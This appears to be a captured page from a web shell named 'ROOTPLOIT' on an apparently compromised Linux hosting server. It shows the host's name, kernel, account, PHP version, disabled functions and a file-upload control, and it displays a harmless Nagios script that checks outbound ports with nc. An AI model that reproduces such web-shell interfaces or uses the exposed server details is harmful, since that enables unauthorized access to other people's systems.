ROOTPLOIT
Server: Apache
System: Linux node6122.myfcloud.com 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User: bashacomputer (1004)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //usr/lib64/nagios/plugins/check_a2_outbound_nat.sh
#!/bin/bash
#
# check_a2_outbound_nat.sh - A bash script to make sure JBK servers cant talk outbound.
# Ref: SYSENG-23372
# Author : rkk@a2hosting.com
#
check_port() {
  if nc -z -w 5 portquiz.net 80 || nc -z -w 5 portquiz.net 22; then
    echo "NAT is open while checking port 22 and 80 for outbound traffic."
    exit 2
  else
    echo "NAT is closed while checking Port 22 and 80 for outbound traffic."
    exit 0
  fi
}

check_port